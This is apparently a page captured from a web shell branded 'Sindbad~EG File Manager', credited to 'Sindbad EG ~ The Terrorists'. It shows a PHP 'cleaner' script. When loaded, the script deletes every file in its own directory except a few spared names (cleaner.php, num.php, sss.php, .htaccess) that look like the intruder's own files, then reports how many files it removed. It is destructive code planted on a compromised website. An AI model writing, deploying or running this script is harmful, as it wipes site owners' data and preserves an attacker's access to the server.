Sindbad~EG File Manager
<?php
$ignoredFiles = [
'cleaner.php',
'num.php',
'sss.php',
'.htaccess',
];
$ignoredExtensions = [
];
function shouldIgnoreFile($filename) {
global $ignoredFiles, $ignoredExtensions;
if (in_array($filename, $ignoredFiles)) {
return true;
}
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (in_array('.' . $extension, $ignoredExtensions)) {
return true;
}
return false;
}
function cleanupDirectory() {
$currentDir = __DIR__;
$deletedCount = 0;
$skippedCount = 0;
$failedCount = 0;
$files = scandir($currentDir);
foreach ($files as $file) {
if ($file === '.' || $file === '..') {
continue;
}
$filePath = $currentDir . DIRECTORY_SEPARATOR . $file;
if (is_dir($filePath)) {
$skippedCount++;
continue;
}
if (shouldIgnoreFile($file)) {
$skippedCount++;
continue;
}
if (unlink($filePath)) {
$deletedCount++;
} else {
$failedCount++;
}
}
return [$deletedCount, $skippedCount, $failedCount];
}
list($deleted, $skipped, $failed) = cleanupDirectory();
echo "Directory cleanup completed.<br>";
echo "Files deleted: $deleted<br>";
echo "Files skipped: $skipped<br>";
if ($failed > 0) {
echo "Files failed to delete: $failed<br>";
}
?>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists